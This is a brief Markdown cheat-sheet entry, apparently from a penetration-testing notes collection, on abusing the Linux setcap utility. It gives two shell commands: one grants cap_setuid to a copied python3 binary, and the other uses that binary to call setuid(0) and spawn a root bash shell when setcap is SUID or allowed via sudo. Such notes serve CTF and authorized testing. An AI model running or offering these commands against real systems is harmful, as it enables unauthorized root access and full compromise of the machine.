14 lines
370 B
Markdown
14 lines
370 B
Markdown
# setcap
|
|
|
|
* Set capabilities of a binary
|
|
* [Hacktrick's setuid page](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid)
|
|
|
|
|
|
## Usage
|
|
|
|
* If there is an S-bit or sudo on setcap do the following. Copy python binary and
|
|
```sh
|
|
setcap cap_setuid+ep /absolute/path/to/copied/python3
|
|
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
|
|
```
|